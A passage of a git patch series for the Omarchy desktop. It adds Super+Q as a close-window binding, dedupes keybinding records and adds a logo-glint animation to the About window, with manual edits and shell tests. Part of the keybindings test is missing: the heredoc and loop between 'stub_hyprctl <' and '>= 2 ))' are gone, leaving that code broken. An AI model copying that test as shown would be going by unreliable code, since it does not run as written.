= 1; entry <= entries; entry++) { + printf "%-*s → %s\t%s\t%s\n", column, chords[entry], actions[entry], dispatchers[entry], args[entry]; } }' } @@ -374,7 +434,13 @@ parse_binding_records() { prioritize_entries() { awk -F '\t' ' { + # Alternative chords are display only. Classifying on them would read + # "SUPER SHIFT + RETURN / SUPER SHIFT + B" as the alternate browser chord + # and drop the browser 20 rows down its own list, so match the chord that + # leads the row and ignore the rest. line = $1 + sub(/ \/ [^→]*→/, " →", line) + prio = 50 if (match(line, /Keybindings/)) prio = 0 if (match(line, /Omarchy menu/)) prio = 1 @@ -436,6 +502,12 @@ prioritize_entries() { cut -f2- } +# Drop repeated records while keeping the order Hyprland reported them in, so +# the chord a user declared first is the one that leads a merged entry. +dedupe_binding_records() { + awk '!seen[$0]++' +} + output_binding_records_uncached() { local dynamic @@ -446,7 +518,7 @@ output_binding_records_uncached() { [[ -n $dynamic ]] && printf '%s\n' "$dynamic" static_bindings } | - sort -u | + dedupe_binding_records | parse_keycodes | parse_binding_records | prioritize_entries @@ -458,7 +530,7 @@ output_binding_records_uncached() { keybindings_cache_key() { { - printf 'v11\n' + printf 'v13\n' hyprctl devices 2>/dev/null | grep -F 'active keymap:' hyprctl binds 2>/dev/null } | sha256sum | awk '{ print $1 }' diff --git a/default/hypr/bindings/tiling.lua b/default/hypr/bindings/tiling.lua index 30a32982..72721b51 100644 --- a/default/hypr/bindings/tiling.lua +++ b/default/hypr/bindings/tiling.lua @@ -1,4 +1,5 @@ o.bind("SUPER + W", "Close window", hl.dsp.window.close()) +o.bind("SUPER + Q", "Close window", hl.dsp.window.close()) o.bind("CTRL + ALT + DELETE", "Close all windows", "omarchy-hyprland-window-close-all") o.bind("SUPER + J", "Toggle window split", hl.dsp.layout("togglesplit")) diff --git a/manual/03-coming-from-mac-or-windows.md b/manual/03-coming-from-mac-or-windows.md index cb36d6e4..f18189a7 100644 --- a/manual/03-coming-from-mac-or-windows.md +++ b/manual/03-coming-from-mac-or-windows.md @@ -46,7 +46,7 @@ Updates come through one command — _Update > Omarchy_ — that updates Omarchy Software comes from a package manager, not from downloaded installers. -And when you close a window, the app actually quits. There's no macOS limbo where the program keeps running with no windows. `Super + W` means gone. +And when you close a window, the app actually quits. There's no macOS limbo where the program keeps running with no windows. `Super + W` — or `Super + Q`, if that's the finger memory you arrived with — means gone. ### On Mac hardware diff --git a/manual/04-navigation.md b/manual/04-navigation.md index 1d3bc173..549833bf 100644 --- a/manual/04-navigation.md +++ b/manual/04-navigation.md @@ -22,7 +22,7 @@ If you hit `Super + Shift + 2`, you'll move the current focused application onto If you hold down `Super` and use the mouse to click on a window, you'll be able to rearrange where it sits. If you hold `Super` and use the right button on the mouse, you can freely resize the window. -You close a window on `Super + W` (and close all windows on `Ctrl + Alt + Delete`). +You close a window on `Super + W` or `Super + Q` (and close all windows on `Ctrl + Alt + Delete`). You can also go full screen with `Super + F` or even just full-width (keeping the top bar) with `Super + Alt + F` or full-screen within a window with `Super + Ctrl + F` (good for YouTube!). diff --git a/manual/07-hotkeys.md b/manual/07-hotkeys.md index 77b57e54..5a038ff6 100644 --- a/manual/07-hotkeys.md +++ b/manual/07-hotkeys.md @@ -10,7 +10,7 @@ You can see all the main keyboard bindings with `Super + K` (Tmux bindings with | `Super + Alt + Space` | Apps menu | | `Super + Escape` | System menu (suspend, restart, etc) | | `Super + Ctrl + L` | Lock computer | -| `Super + W` | Close window | +| `Super + W` or `Super + Q` | Close window | | `Ctrl + Alt + Del` | Close all windows | | `Super + T` | Toggle window between tiling/floating | | `Super + J` | Toggle window position (horizontal/vertical) | diff --git a/test/shell.d/keybindings-menu-test.sh b/test/shell.d/keybindings-menu-test.sh new file mode 100755 index 00000000..3e0da288 --- /dev/null +++ b/test/shell.d/keybindings-menu-test.sh @@ -0,0 +1,222 @@ +#!/bin/bash + +source "$(dirname "${BASH_SOURCE[0]}")/base-test.sh" + +require_command lua +require_command xkbcli + +tmpdir=$(mktemp -d) && [[ -n $tmpdir && -d $tmpdir ]] || + fail "the test gets a temporary directory to stub Hyprland in" +trap 'rm -rf "$tmpdir"' EXIT + +home="$tmpdir/home" +stub_bin="$tmpdir/bin" +mkdir -p "$home/.config" "$stub_bin" +cp -r "$ROOT/config/hypr" "$home/.config/hypr" + +# The menu reads binds from Hyprland, which is not running here, so stand in for +# it. A Lua bind reports dispatcher __lua and no arg, and the menu recovers both +# from the Lua source; an exec bind carries its own command. Both shapes matter: +# what two chords dispatch is what decides whether they share a row. +lua_bind() { + printf 'bind\n\tmodmask: %s\n\tsubmap: \n\tkey: %s\n\tkeycode: 0\n\tcatchall: false\n\tdescription: %s\n\tdispatcher: __lua\n\targ: \n' "$1" "$2" "$3" +} + +exec_bind() { + printf 'bind\n\tmodmask: %s\n\tsubmap: \n\tkey: %s\n\tkeycode: 0\n\tcatchall: false\n\tdescription: %s\n\tdispatcher: exec\n\targ: %s\n' "$1" "$2" "$3" "$4" +} + +stub_hyprctl() { + { + echo '#!/bin/bash' + echo 'case "$1" in' + echo ' binds) cat <<'"'"'BINDS'"'"'' + cat + echo 'BINDS' + echo ' ;;' + echo ' devices) echo "active keymap: English (US)" ;;' + echo 'esac' + } >"$stub_bin/hyprctl" + chmod +x "$stub_bin/hyprctl" +} + +keybindings() { + env -i PATH="$stub_bin:$ROOT/bin:$PATH" HOME="$home" \ + XDG_CACHE_HOME="$tmpdir/cache" OMARCHY_PATH="$ROOT" \ + bash "$ROOT/bin/omarchy-menu-keybindings" --print +} + +# Closing a window and toggling the scratchpad are two of the actions Omarchy +# binds twice on purpose. The last bind carries the longest description Omarchy +# ships, which is what puts a row closest to the width the menu allows. +stub_hyprctl <= 2 )) || + fail "every action named as having an alternative is bound twice" "$action" +done +pass "every action named as having an alternative is bound twice" From eca89f9518a95fbb279fcf55567d4d6df38e6d2e Mon Sep 17 00:00:00 2001 From: Omarchybot Date: Sat, 22 Aug 2026 17:19:23 +0200 Subject: [PATCH 010/336] Animate the About logo with a passing glint (#7768) MIME-Version: 1.0 Content-Type: text/plain; charset=UTF-8 Content-Transfer-Encoding: 8bit * Animate the About logo with a passing glint fastfetch has no animation of its own, so the sweep is ours. Every frame is composed once up front and a tick writes one of them, repainting only the cells fastfetch drew the logo on, which holds 40fps for under 1% of a core and never reaches the module column six columns to its right. The logo is handed back exactly as it arrived: frames carry the colour fastfetch drew it in rather than a plain reset, so between glints the window is byte-for-byte the one it was before this change. Where the logo on screen might not be the text in the file, it stays still rather than guess — a fastfetch config in any directory searched ahead of Omarchy's own, a logo built from $1 colour placeholders or from a tab fastfetch expands itself, a window too small for the layout to fit without scrolling, and a shell whose locale is counting bytes instead of characters. A resize moves those cells, so a WINCH trap ends the sweep on the frame it happens rather than up to a poll later, which measured 10ms against 830ms. The polling stays as the backstop for a signal that arrived while it could not be taken. 🤖 Generated by Opus 5 in Claude Code. Reviewed by Codex XHigh. Co-Authored-By: Claude Opus 5 (1M context) Co-Authored-By: Codex XHigh * Give the sheen a file of its own The launcher was carrying two things: what a glint looks like, and what it is drawn over. Only the second is about fastfetch. bin/omarchy-logo-sheen now knows how to lean a band of light across an ASCII logo and nothing about About, and it is handed where the logo sits, what colour to give its cells back, and how much room it has. When a frame may be written stays with the launcher, because that is inseparable from how the window closes and resizes. The tests split along the same seam, and the sheen's half no longer strips the launcher's tail to reach the code it tests. 🤖 Generated by Opus 5 in Claude Code. Co-Authored-By: Claude Opus 5 (1M context) * Leave a logo still when one character is not one cell The frames slice the logo by character and the terminal draws it by column, so the sheen only puts a row back where it found it while those two agree. A double-width glyph, a combining mark and a joined emoji each break that, and a cut through one of them renders as something else — pushing the rest of the row right, into the module column, with nothing on screen to say the logo moved. A user can put any of the three in the logo by editing the text. Comparing the row's character count against its width in columns is the assumption itself, so it is what gets checked, rather than a list of the glyph classes that happen to break it today. 🤖 Generated by Opus 5 in Claude Code. Co-Authored-By: Claude Opus 5 (1M context) * Size the About window from the layout fastfetch drew The fit predicted the content height from the logo and the module column, taking the taller of the two. Once the logo is the taller one fastfetch writes a row more than that arithmetic expects, so every logo of 27 rows or more got a window one row short and scrolled its top padding away. The shipped logo is 26 rows, which is why it never showed. Ask fastfetch how tall the layout came out instead of predicting it. That measurement was already being taken for the sheen, which refuses to animate a layout that scrolled — so a tall logo used to lose the glint as well as the padding row. 🤖 Generated by Opus 5 in Claude Code. Co-Authored-By: Claude Opus 5 (1M context) * Leave the logo still when NO_COLOR asks for none fastfetch drops the logo's colour when it writes to a terminal that set NO_COLOR, but not when it writes to the substitution that measures it. The colour to hand those cells back in was therefore measured as green while the logo on screen had none, and the first glint would have left the whole logo green. It stops suppressing autowrap there too, so a narrow window soft-wraps and scrolls where the measurement cannot see it and the frames go on addressing rows that moved. Both follow from animating a screen drawn in a mode the measurement did not reproduce. A glint is colour besides, which is the thing NO_COLOR asks for none of. 🤖 Generated by Opus 5 in Claude Code. Reviewed by Codex XHigh. Co-Authored-By: Claude Opus 5 (1M context) Co-Authored-By: Codex XHigh * Read fastfetch's config paths whole, and do not read silence as an answer Splitting each listed path on whitespace dropped everything after the first space, so a config under a home directory containing one was missed and the fit and the sheen went ahead against a layout neither had measured. The marker fastfetch prints beside the config it settled on is not part of the path either. A listing that failed was also indistinguishable from one that found nothing, because the status of a process substitution is discarded, so a fastfetch that could not enumerate read as "no custom config". Fall back to the directory fastfetch has always looked in first rather than take silence for an answer. 🤖 Generated by Opus 5 in Claude Code. Reviewed by Codex XHigh. Co-Authored-By: Claude Opus 5 (1M context) Co-Authored-By: Codex XHigh * Notice a resize that lands while the grid is being read The sweep read the WINCH flag before the grid rather than after it. A signal arriving during the two command substitutions that read the grid is delivered only once they finish, so the flag was still false when it was tested, the grid still compared equal, and one more frame went out at coordinates the resize had already moved. Read the flag last, after the check it could have landed during. 🤖 Generated by Opus 5 in Claude Code. Reviewed by Codex XHigh. Co-Authored-By: Claude Opus 5 (1M context) Co-Authored-By: Codex XHigh * Check that the render loop is what plays the sheen Every builder the tests drive can be exercised while nothing on screen ever animates. Replacing the render loop's animated branch with the still one it replaced left all of them passing, so nothing was holding the animation onto the screen it belongs on. 🤖 Generated by Opus 5 in Claude Code. Reviewed by Codex XHigh. Co-Authored-By: Claude Opus 5 (1M context) Co-Authored-By: Codex XHigh * Name the animation after the branding it animates omarchy-logo-sheen sat in a group of its own, and a group whose only command is hidden still gets a header printed for it with nothing underneath. It belongs beside omarchy-branding-about, whose art it animates: the group already exists, the two halves of About branding are next to each other, and `omarchy branding about` still routes to the command rather than the helper now sharing its prefix. The tests take the names of what they cover, the way the rest of the suite does. 🤖 Generated by Opus 5 in Claude Code. Co-Authored-By: Claude Opus 5 (1M context) * Fewer moving parts in the sheen Four questions about a logo turned out to be one. Whether the shell is counting characters or bytes, whether a tab or an escape is in the line, whether a glyph is double-width or a combining mark or a joined emoji — each was asking whether one character is one cell, so that is the only thing asked now. It is also less strict in the one case that deserves it: plain ASCII art animates in a C locale, where the locale probe used to refuse everything. One band of light instead of a white core inside a green halo, which is three colour spans a row rather than five and no helper to clamp four cuts with. Only the left cut needs clamping at all: a slice starting past the end of a line is already empty, while a negative offset would count from the end of it. One loop instead of two, because an empty frame list plays nothing. A logo that cannot be animated now waits in the loop the animated one rests in rather than in a second copy of it, and the build that failed leaves no frames behind, since that loop plays whatever it finds. The logo's colour comes out of one match rather than a loop eating one escape at a time. 🤖 Generated by Opus 5 in Claude Code. Co-Authored-By: Claude Opus 5 (1M context) * Say in the manual which art the glint leaves alone The line promised the glint to any art in the file, and the code does not: art whose characters are not one column wide is left still on purpose, as is the whole screen for anyone keeping a fastfetch config of their own. Somebody reading the old line and seeing a still logo would take deliberate behaviour for a broken feature. Name the condition rather than the list of glyph classes behind it, and say that both modes of Set From Image meet it, because that is the path almost everyone is on. 🤖 Generated by Opus 5 in Claude Code. Co-Authored-By: Claude Opus 5 (1M context) * Draw the band in a colour bold cannot collapse A terminal can be told to render bold text in a brighter colour — foot's bold-text-in-bright, whose palette-based form brightens a bold regular colour into its bright counterpart. fastfetch draws the logo bold green, so under that setting the logo is already bright green, which is the colour the band was using: the glint came out the same green as the art and nothing appeared to happen at all. None of the four terminal configs set it, so it was waiting on whoever turned it on. Bright white instead, because no regular colour brightens into it, and the band shows whatever the terminal does with bold. Narrower with it, since white against green needs less width to read than a second green did. 🤖 Generated by Opus 5 in Claude Code. Co-Authored-By: Claude Opus 5 (1M context) --------- Co-authored-by: Claude Opus 5 (1M context) Co-authored-by: Codex XHigh --- bin/omarchy-branding-about-animation | 104 +++++++++ bin/omarchy-launch-about | 170 ++++++++++++-- manual/41-branding.md | 2 + test/shell.d/branding-about-animation-test.sh | 148 ++++++++++++ test/shell.d/launch-about-test.sh | 211 ++++++++++++++++++ 5 files changed, 622 insertions(+), 13 deletions(-) create mode 100755 bin/omarchy-branding-about-animation create mode 100755 test/shell.d/branding-about-animation-test.sh create mode 100755 test/shell.d/launch-about-test.sh diff --git a/bin/omarchy-branding-about-animation b/bin/omarchy-branding-about-animation new file mode 100755 index 00000000..460f04e0 --- /dev/null +++ b/bin/omarchy-branding-about-animation @@ -0,0 +1,104 @@ +#!/bin/bash + +# omarchy:summary=Shared helpers for animating the About branding (source this, don't run it). +# omarchy:group=branding +# omarchy:name=about-animation +# omarchy:hidden=true + +# The About branding's animation: a sheen, and the frames that make it. *When* +# those frames are written stays with the caller, because that is inseparable +# from how the caller's window closes and resizes; this only says what to write, +# and where — it is handed a logo and knows nothing about About beyond that. + +# A band of light leans across the logo, rests, and leans across again. Two +# columns per row puts it at 45 degrees on screen, where a cell is twice as tall +# as it is wide. +ESC=$'\e' +# Bright white, so the band does not depend on how the terminal reads bold. Foot's +# bold-text-in-bright brightens a bold regular colour into its bright counterpart, +# which turns a bold green logo bright green — exactly the colour a bright green +# band would have used, leaving a glint nobody can see. No regular colour +# brightens into bright white, so this one shows either way. +SHEEN_BAND="${ESC}[1m${ESC}[97m" +SHEEN_SLANT=2 +SHEEN_HALF=2 +SHEEN_FRAME_SECONDS=0.025 +SHEEN_REST_TICKS=8 +# Re-measure the grid every half second, the cadence a still logo already cost, +# rather than spawning a process per frame. +SHEEN_POLL_FRAMES=20 + +# A frame is one string holding every row of the logo, positioned and coloured, +# so a tick writes the whole logo at once and never shows it half drawn. +compose_frame() { + local centre=$1 + local row line length at from to frame="" + + for (( row = 0; row < SHEEN_ROWS; row++ )); do + line=${SHEEN_LINES[row]} + length=${#line} + + # Where the band crosses this row. Running off the right needs no clamp, + # because a slice that starts past the end of a line is already empty, but a + # negative offset would count from the end of it instead of off the left. + at=$(( centre - row * SHEEN_SLANT )) + from=$(( at - SHEEN_HALF )) + from=$(( from < 0 ? 0 : from )) + to=$(( at + SHEEN_HALF + 1 )) + to=$(( to < 0 ? 0 : to )) + + frame+="${ESC}[$((SHEEN_TOP + row));${SHEEN_LEFT}H" + frame+="${SHEEN_BASE}${line:0:from}${SHEEN_BAND}${line:from:to - from}${SHEEN_BASE}${line:to}" + done + + SHEEN_COMPOSED=$frame +} + +# Builds every frame up front: a tick that recomputed a logo's worth of colour +# spans in bash would not hold the frame rate, and the sweep is the same every +# time. Leaves them in SHEEN_FRAMES, and answers whether this logo can be +# animated at all — one it cannot put back exactly as it found it is one to leave +# alone, because nothing on screen would say the difference. +# +# sheen_build +sheen_build() { + local file=$1 columns=$5 + SHEEN_TOP=$2 + SHEEN_LEFT=$3 + SHEEN_BASE=$4 + + SHEEN_LINES=() + # A failing redirection reports itself before 2>/dev/null would apply, so order + # it first: the caller's window must not get a shell error painted across it. + mapfile -t SHEEN_LINES 2>/dev/null <"$file" || return 1 + SHEEN_ROWS=${#SHEEN_LINES[@]} + (( SHEEN_ROWS > 0 )) || return 1 + + local row line width=0 + for (( row = 0; row < SHEEN_ROWS; row++ )); do + line=${SHEEN_LINES[row]} + + # A renderer substitutes $1 to $9 for colours, so a logo written with those is + # not the text that reached the screen. + [[ $line == *'$'* ]] && return 1 + + # These frames slice the row by character and a terminal draws it by column, + # so one character has to be one cell — and everything that breaks that breaks + # it here. A wide glyph, a combining mark or a joined emoji is not one cell; a + # tab or an escape is one the renderer expanded itself; and a shell whose + # locale is counting bytes is not counting characters at all. + (( ${#line} == $(printf '%s' "$line" | LC_ALL=C.UTF-8 wc -L) )) || return 1 + + if (( ${#line} > width )); then + width=${#line} + fi + done + (( width > 0 && width <= columns )) || return 1 + + SHEEN_FRAMES=() + local centre last=$(( width + SHEEN_ROWS * SHEEN_SLANT + SHEEN_HALF )) + for (( centre = -SHEEN_HALF; centre <= last; centre++ )); do + compose_frame "$centre" + SHEEN_FRAMES+=("$SHEEN_COMPOSED") + done +} diff --git a/bin/omarchy-launch-about b/bin/omarchy-launch-about index 76ece301..27fff12c 100755 --- a/bin/omarchy-launch-about +++ b/bin/omarchy-launch-about @@ -10,10 +10,41 @@ LOGO_FILE="$HOME/.config/omarchy/branding/about.txt" FIT_FILE="$HOME/.local/state/omarchy/windows/about.fit" +OMARCHY_FASTFETCH_DIR=/etc/fastfetch -# A user-level fastfetch config can relocate or restyle the logo in ways this -# measurement cannot see, so leave sizing to the float rule in that case. +# The logo block in the fastfetch config. The fit below reproduces this layout to +# size the window, and the sheen has to repaint the very cells fastfetch drew the +# logo on, so both read the padding from here. +LOGO_PAD_LEFT=2 +LOGO_PAD_TOP=2 +LOGO_PAD_RIGHT=6 + +POLL_SECONDS=0.5 + +# fastfetch has no animation of its own, so the sheen is ours. It knows about a +# logo and nothing about About, which is why it is a file of its own. +source omarchy-branding-about-animation + +# A user's own fastfetch config can relocate or restyle the logo in ways this +# measurement cannot see, so leave sizing to the float rule in that case. It can +# sit in any of several directories fastfetch searches ahead of Omarchy's own, so +# ask fastfetch for that order rather than keep a copy here for its next release +# to outdate. custom_fastfetch_config() { + local directory listed=false + + # A whole line at a time, because a home directory may contain a space, and the + # marker fastfetch puts beside the config it settled on is not part of the path. + while IFS= read -r directory; do + listed=true + directory=${directory% (\*)} + [[ ${directory%/} == "$OMARCHY_FASTFETCH_DIR" ]] && return 1 + [[ -f ${directory%/}/config.jsonc ]] && return 0 + done < <(fastfetch --list-config-paths 2>/dev/null) + + # Silence is not the same answer as "none of them", so fall back to the + # directory fastfetch has always looked in first rather than read it as one. + [[ $listed == true ]] && return 1 [[ -f $HOME/.config/fastfetch/config.jsonc ]] } @@ -100,17 +131,22 @@ fit_window() { # The guard character keeps command substitution from eating the trailing # break line, which provides the bottom padding row. - local modules module_w module_h + local modules module_w modules=$(fastfetch --logo none | sed 's/\x1b\[[0-9;?]*[a-zA-Z]//g'; printf X) modules=${modules%X} module_w=$(printf '%s' "$modules" | display_columns) - module_h=$(printf '%s' "$modules" | wc -l) + + # Ask fastfetch how tall its layout came out rather than predicting it from the + # logo and the module column: once the logo is the taller of the two, fastfetch + # writes a row more than that arithmetic expects, and a window sized by it + # scrolls the top padding away. + measure_layout || return 1 # Mirror the logo block in the fastfetch config: 2 columns of padding left of - # the logo, 6 between logo and modules, 2 rows above it. Then 2 columns of - # right padding to match, and a row for the cursor so the trailing break shows. - local target_c=$(( 2 + logo_w + 6 + module_w + 2 )) - local target_r=$(( (logo_h + 2 > module_h ? logo_h + 2 : module_h) + 1 )) + # the logo, 6 between logo and modules. Then 2 columns of right padding to + # match, and a row for the cursor so the trailing break shows. + local target_c=$(( LOGO_PAD_LEFT + logo_w + LOGO_PAD_RIGHT + module_w + LOGO_PAD_LEFT )) + local target_r=$(( LAYOUT_ROWS + 1 )) local nudges=0 rows cols address width height shift_w shift_h target_w target_h while :; do @@ -146,17 +182,125 @@ fit_window() { return 1 } +# One run answers both questions the sheen has to ask first. How tall the layout +# is, because a window too small for it scrolls, which moves the logo off the rows +# the frames address. And what colour fastfetch drew the logo in, because the +# glint has to hand every cell back in the colour it arrived in — assume it, and +# a logo fastfetch colours differently comes out of the first glint a new one. +measure_layout() { + [[ -n ${LAYOUT_ROWS:-} ]] && return 0 + + local rendered row + + # --pipe false because fastfetch drops its colours when it is not writing to a + # terminal, and it is writing to this substitution. + rendered=$(fastfetch --pipe false 2>/dev/null; printf X) + rendered=${rendered%X} + LAYOUT_ROWS=$(printf '%s' "$rendered" | wc -l) + (( LAYOUT_ROWS > LOGO_PAD_TOP )) || return 1 + + # Whatever fastfetch set before the first row of the logo is what the sheen has + # to give those cells back. + row=$(printf '%s' "$rendered" | sed -n "$((LOGO_PAD_TOP + 1))p") + LOGO_COLOR="" + [[ $row =~ ^(($ESC\[[0-9;]*m)+) ]] && LOGO_COLOR=${BASH_REMATCH[1]} + + return 0 +} + +# The About screen's own reasons the logo might not be where these frames would +# draw it. Whether the logo itself can be animated is the sheen's own question. +build_sheen() { + # Whatever the last build left is not this window's, and the loop below plays + # whatever is here — so a build that fails has to leave nothing to play. + SHEEN_FRAMES=() + + custom_fastfetch_config && return 1 + + # fastfetch honours NO_COLOR when it writes to a terminal but not when it writes + # to the measurement below, so a logo drawn without colour would be measured as + # green and left green by the first glint. A glint is colour anyway, which is + # the thing NO_COLOR asks for none of. + [[ -n ${NO_COLOR:-} ]] && return 1 + + measure_layout || return 1 + + # The layout needs a row for the cursor past its last line. Without one it has + # scrolled, and the logo is no longer on the rows the frames address. + local rows cols + read -r rows cols <<<"$(stty size)" + (( rows > LAYOUT_ROWS )) || return 1 + + # The cell the logo's first row starts on, every attribute fastfetch left on + # those cells so a glint that has passed leaves them as it found them, and the + # room it has to work in left of the module column. + sheen_build "$LOGO_FILE" "$(( LOGO_PAD_TOP + 1 ))" "$(( LOGO_PAD_LEFT + 1 ))" "${ESC}[0m${LOGO_COLOR}" "$(( cols - LOGO_PAD_LEFT ))" +} + +# What the frames were built against. A window that resized, or a logo that was +# rebranded, needs fastfetch run again before anything is drawn over it. +content_changed() { + [[ $resized == true ]] && return 0 + + [[ $(stty size) != "$grid" || $(stat -c %Y "$LOGO_FILE" 2>/dev/null) != "$logo_stamp" ]] +} + +# A tick either times out, which is the delay, or a key arrives and About closes. +# Anything else on stdin is a terminal that went away, which closes it too. +tick() { + read -t "$1" -n 1 -s && exit + (( $? > 128 )) || exit +} + +play_sheen() { + local index + + for (( index = 0; index < ${#SHEEN_FRAMES[@]}; index++ )); do + # Stop before painting a frame rather than after: a resize has already moved + # the cells these address, and the rest of a sweep would land across them. + # The grid costs a process, so it stays on the poll interval. The trap costs + # nothing, so it is read last — a signal that arrived while the grid was being + # read would otherwise be seen only after another frame had gone out. + (( index % SHEEN_POLL_FRAMES == 0 )) && content_changed && return 1 + [[ $resized == true ]] && return 1 + + printf '%s' "${SHEEN_FRAMES[index]}" + tick "$SHEEN_FRAME_SECONDS" + done + + return 0 +} + +# The logo is still between glints, so About is a quiet window to leave open. +rest_sheen() { + local ticks + + for (( ticks = 0; ticks < SHEEN_REST_TICKS; ticks++ )); do + tick "$POLL_SECONDS" + content_changed && return 1 + done + + return 0 +} + if [[ ${1:-} == "--render" ]]; then printf '\e[?25l' + # A sweep runs for seconds between polls, so it reads this instead. The polling + # stays as the backstop, for a signal that arrived while it could not be taken. + resized=false + trap 'resized=true' WINCH + # Give the compositor a moment to apply the window rules before measuring cells. settle_grid fitted=false passes=0 while :; do - size=$(stty size) + grid=$(stty size) logo_stamp=$(stat -c %Y "$LOGO_FILE" 2>/dev/null) + resized=false + LAYOUT_ROWS="" clear fastfetch # A second pass picks up a fit that could not measure the window the first @@ -165,10 +309,10 @@ if [[ ${1:-} == "--render" ]]; then if [[ $fitted == false ]] && (( ++passes <= 2 )); then fit_window && fitted=true fi - while [[ $(stty size) == $size && $(stat -c %Y "$LOGO_FILE" 2>/dev/null) == $logo_stamp ]]; do - read -t 0.5 -n 1 -s && exit - (( $? > 128 )) || exit - done + # An empty frame list plays nothing, so a logo that cannot be animated waits + # here exactly as the still one did, and there is one loop rather than two. + build_sheen + while play_sheen && rest_sheen; do :; done # A rebranded logo changes the content dimensions, so measure again. if [[ $(stat -c %Y "$LOGO_FILE" 2>/dev/null) != $logo_stamp ]]; then fitted=false diff --git a/manual/41-branding.md b/manual/41-branding.md index 6121d3da..2cf19001 100644 --- a/manual/41-branding.md +++ b/manual/41-branding.md @@ -30,6 +30,8 @@ There are three entries in that menu: The same three options are under _Style > About_ for the _About_ screen you get from the Omarchy menu, and they work identically — the file is `~/.config/omarchy/branding/about.txt`, and the About window pops up after each change. The About art is converted to a smaller size than the screensaver's, since it has to fit in a window rather than fill your display. +While the window is open a glint of green leans across the art every few seconds and then leaves it still again. Your own art gets it too, as long as every character in it is one column wide — anything _Set From Image_ produces is. Art built from emoji or double-width characters stays still instead, and so does the screen if you keep a fastfetch config of your own: a still logo in those cases is the animation keeping out of the way rather than failing, since sliding a glint across them would land the rest of the line in the wrong place. + ![branding-about](images/branding-about.webp) ### Converting images yourself diff --git a/test/shell.d/branding-about-animation-test.sh b/test/shell.d/branding-about-animation-test.sh new file mode 100755 index 00000000..23d6b458 --- /dev/null +++ b/test/shell.d/branding-about-animation-test.sh @@ -0,0 +1,148 @@ +#!/bin/bash + +set -euo pipefail + +source "$(cd -- "$(dirname -- "${BASH_SOURCE[0]}")" && pwd)/base-test.sh" + +tmp_dir="$(mktemp -d)" +trap 'rm -rf "$tmp_dir"' EXIT + +animation="$ROOT/bin/omarchy-branding-about-animation" +source "$animation" + +logo="$tmp_dir/logo.txt" +write_logo() { printf '%s\n' "$@" >"$logo"; } +base=$'\e[0m\e[1m\e[32m' +top=3 left=3 columns=120 + +build() { sheen_build "$logo" "$top" "$left" "$base" "$columns"; } +refuses() { + if build; then + fail "$1" + else + pass "$1" + fi +} + +write_logo '████████████████████████' '████████ ████████' '████████████████████████' +build || fail "a logo of plain block art animates" +pass "a logo of plain block art animates" + +mapfile -t expected <"$logo" +(( ${#SHEEN_FRAMES[@]} > ${#expected[0]} )) || fail "the glint takes more frames than the logo is wide" "${#SHEEN_FRAMES[@]}" +pass "the glint takes more frames than the logo is wide" + +# Every frame is the same logo in different colours. A frame that changed a +# character, reached past the logo, or lit more than the band is wide would be +# drawing over whatever the caller put beside it, and nothing on screen would say so. +esc=$'\e' +band_width=$(( SHEEN_HALF * 2 + 1 )) +misplaced=0 rewritten=0 overrun=0 washed=0 unbased=0 widest_glint=0 first_lit=0 +lit_rows="" +for index in "${!SHEEN_FRAMES[@]}"; do + row=0 + frame_lit=0 + while IFS= read -r drawn; do + [[ -n $drawn ]] || continue + [[ $drawn == "$esc[$((top + row));${left}H"* ]] || misplaced=$((misplaced + 1)) + + rest=${drawn#*H} + [[ $rest == "$base"* ]] || unbased=$((unbased + 1)) + rest=${rest#"$base"} + head=${rest%%"$SHEEN_BAND"*} && rest=${rest#*"$SHEEN_BAND"} + lit=${rest%%"$base"*} && tail=${rest#*"$base"} + + [[ $head$lit$tail == "${expected[row]}" ]] || rewritten=$((rewritten + 1)) + (( ${#head} + ${#lit} + ${#tail} > ${#expected[row]} )) && overrun=$((overrun + 1)) + (( ${#lit} > band_width )) && washed=$((washed + 1)) + if (( ${#lit} > 0 )); then + lit_rows+="$row " + frame_lit=$((frame_lit + 1)) + fi + row=$((row + 1)) + done < <(printf '%s\n' "${SHEEN_FRAMES[index]}" | sed "s/$esc\[[0-9]*;[0-9]*H/\n&/g") + (( row == ${#expected[@]} )) || fail "a frame draws every row of the logo" "drew $row of ${#expected[@]}" + (( frame_lit > widest_glint )) && widest_glint=$frame_lit + (( index == 0 )) && first_lit=$frame_lit +done + +(( misplaced == 0 )) || fail "every row is drawn on the cell it was given" "$misplaced misplaced" +pass "every row is drawn on the cell it was given" + +(( unbased == 0 )) || fail "every row starts in the colour it was handed" "$unbased rows" +pass "every row starts in the colour it was handed" + +(( rewritten == 0 )) || fail "the sheen only recolours the logo, never rewrites it" "$rewritten rows changed" +pass "the sheen only recolours the logo, never rewrites it" + +(( overrun == 0 )) || fail "no frame reaches past the logo" "$overrun overruns" +pass "no frame reaches past the logo" + +# A band of light leaning across the logo, not a wash over half of it. +(( washed == 0 )) || fail "the glint stays a band the whole way across" "$washed rows lit wider than $band_width" +pass "the glint stays a band the whole way across" + +for row in "${!expected[@]}"; do + [[ " $lit_rows" == *" $row "* ]] || fail "the glint crosses every row of the logo" "row $row is never lit" +done +pass "the glint crosses every row of the logo" + +(( widest_glint == ${#expected[@]} )) || fail "the glint leans across the whole logo at once" "widest frame lit $widest_glint of ${#expected[@]}" +pass "the glint leans across the whole logo at once" + +(( first_lit == 1 )) || fail "a glint arrives from off the logo" "the first frame lights $first_lit rows" +pass "a glint arrives from off the logo" + +settled="" +for row in "${!expected[@]}"; do + settled+="$esc[$((top + row));${left}H$base${expected[row]}$SHEEN_BAND$base" +done +[[ ${SHEEN_FRAMES[-1]} == "$settled" ]] || fail "a glint settles back to the logo it was given" +pass "a glint settles back to the logo it was given" + +# A terminal that renders bold text in bright colours — foot's bold-text-in-bright +# does exactly this — maps a bold regular colour to its bright counterpart, so a +# band using one of those vanishes into a logo drawn in the matching regular +# colour, and nobody sees the animation at all. +[[ ! $SHEEN_BAND =~ \[9[0-6]m ]] || fail "the band avoids the colours a bold logo can brighten into" "$(printf '%q' "$SHEEN_BAND")" +pass "the band avoids the colours a bold logo can brighten into" + +# One character has to be one cell, or putting a row back moves what follows it. +# Everything that breaks that is refused by the one check, so everything that +# breaks it is tested against the one check. +write_logo '$1████' ' ████' +refuses "a logo built from colour placeholders is left still" +write_logo "$(printf 'A\tB')" 'CC' +refuses "a logo with a tab someone else expands is left still" +write_logo "$(printf 'A\033[31mB')" 'CCCCC' +refuses "a logo carrying an escape is left still" +write_logo 'AAA中文BBB' 'CCCCCCCCCC' +refuses "a logo with double-width glyphs is left still" +write_logo "$(printf 'AAAe\xcc\x81BBB')" 'CCCCCCCC' +refuses "a logo with a combining mark is left still" +write_logo "$(printf 